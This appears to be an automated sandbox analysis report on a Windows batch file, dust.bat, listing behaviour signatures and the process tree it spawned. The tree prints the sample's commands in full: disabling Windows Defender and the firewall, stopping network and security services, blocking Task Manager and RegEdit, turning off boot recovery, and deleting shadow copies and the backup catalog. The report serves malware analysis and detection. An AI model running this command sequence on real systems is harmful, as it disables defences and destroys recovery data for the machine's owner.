Analysis

  • max time kernel
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 07:02

General

  • Target
    dust.bat
  • Size 3KB
  • Sample260930-ht6ftshe22
  • SHA256 1581cdc116c2131f1be7c73aa267ca7c26d17d3b2fd68dc4be6023d128d6dfdd
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 41 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\dust.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2788
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4848
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:3196
      • C:\Windows\system32\notepad.exe
        notepad.exe "C:\Users\Public\Desktop\NOTICE.txt"
        2⤵
        • Opens file in notepad (likely ransom note)
        PID:2344
      • C:\Windows\system32\net.exe
        net stop WlanSvc /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3268
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop WlanSvc /y
          3⤵
            PID:2728
        • C:\Windows\system32\sc.exe
          sc config WlanSvc start= disabled
          2⤵
          • Launches sc.exe
          PID:5620
        • C:\Windows\system32\netsh.exe
          netsh wlan delete profile name=* i=*
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          PID:5600
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Get-NetAdapter | Where-Object {$_.InterfaceDescription -like '*Wireless*' -or $_.Name -like '*Wi-Fi*'} | Disable-NetAdapter -Confirm:$false"
          2⤵
          • Enumerates connected drives
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:956
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Get-PnpDevice -Class Net | Where-Object {$_.FriendlyName -like '*Wireless*' -or $_.FriendlyName -like '*Wi-Fi*'} | Disable-PnpDevice -Confirm:$false"
          2⤵
          • Enumerates connected drives
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1304
        • C:\Windows\system32\netsh.exe
          netsh interface set interface "Wi-Fi" admin=disabled
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          PID:5216
        • C:\Windows\system32\sc.exe
          sc config lanmanserver start= disabled
          2⤵
          • Launches sc.exe
          PID:1720
        • C:\Windows\system32\sc.exe
          sc config lanmanworkstation start= disabled
          2⤵
          • Launches sc.exe
          PID:3472
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
          2⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          PID:3576
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
          2⤵
          • Modifies Windows Defender Real-time Protection settings
          PID:2496
        • C:\Windows\system32\net.exe
          net stop WinDefend /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2548
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop WinDefend /y
            3⤵
              PID:1744
          • C:\Windows\system32\net.exe
            net stop wscsvc /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1384
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop wscsvc /y
              3⤵
                PID:1928
            • C:\Windows\system32\netsh.exe
              netsh advfirewall set allprofiles state off
              2⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:5416
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
              2⤵
                PID:2460
              • C:\Windows\system32\reg.exe
                reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                2⤵
                  PID:4252
                • C:\Windows\system32\reg.exe
                  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
                  2⤵
                  • Disables RegEdit via registry modification
                  PID:3440
                • C:\Windows\system32\bcdedit.exe
                  bcdedit /set {default} bootstatuspolicy ignoreallfailures
                  2⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2492
                • C:\Windows\system32\bcdedit.exe
                  bcdedit /set {default} recoveryenabled no
                  2⤵
                  • Modifies boot configuration data using bcdedit
                  PID:3284
                • C:\Windows\system32\vssadmin.exe
                  vssadmin delete shadows /all /quiet
                  2⤵
                  • Interacts with shadow copies
                  PID:2436
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic shadowcopy delete
                  2⤵
                  • Reads the TCP/IP host and domain name from the registry
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5300
                • C:\Windows\system32\wbadmin.exe
                  wbadmin delete catalog -quiet
                  2⤵
                  • Deletes backup catalog
                  PID:4484
                • C:\Windows\system32\attrib.exe
                  attrib -h -r -s C:\Windows\System32\config\*
                  2⤵
                  • Drops file in System32 directory
                  • Views/modifies file attributes
                  PID:2476
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:980
              • C:\Windows\system32\wbengine.exe
                "C:\Windows\system32\wbengine.exe"
                1⤵
                  PID:1568
                • C:\Windows\System32\vdsldr.exe
                  C:\Windows\System32\vdsldr.exe -Embedding
                  1⤵
                    PID:2928
                  • C:\Windows\System32\vds.exe
                    C:\Windows\System32\vds.exe
                    1⤵
                    • Checks SCSI registry key(s)
                    PID:1224

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        STARTU~1

                        • Path C:\Users\Admin\AppData\Local\MICROS~1\Windows\POWERS~1\STARTU~1
                        • Size 1KB
                        • SHA256 87bd86bc091285e204548f6af66b5de1e3340eb1b319461712ee5b36bf74b337
                        • MD5 SHA1 SHA512 TLSH

                        StartupProfileData-NonInteractive

                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_2h1n1ef3.y2k.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2h1n1ef3.y2k.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        NOTICE.txt

                        • Path C:\Users\Public\Desktop\NOTICE.txt
                        • Size 84B
                        • SHA256 cc3ab5e396a7004b96d28b691949d15d277e0ebe24919381bc93a93e9c328aff
                        • MD5 SHA1 SHA512 TLSH

                        memory/956-5-0x000001B85DD40000-0x000001B85DD62000-memory.dmp

                        memory/956-8-0x000001B85DDD0000-0x000001B85DDEE000-memory.dmp

                        memory/956-9-0x000001B85DDF0000-0x000001B85DEA2000-memory.dmp

                        memory/956-10-0x000001B85DDC0000-0x000001B85DDCA000-memory.dmp

                        memory/956-11-0x000001B85DED0000-0x000001B85DEEE000-memory.dmp

                        memory/956-13-0x000001B85E7A0000-0x000001B85E890000-memory.dmp

                        memory/1304-20-0x0000024D76440000-0x0000024D76530000-memory.dmp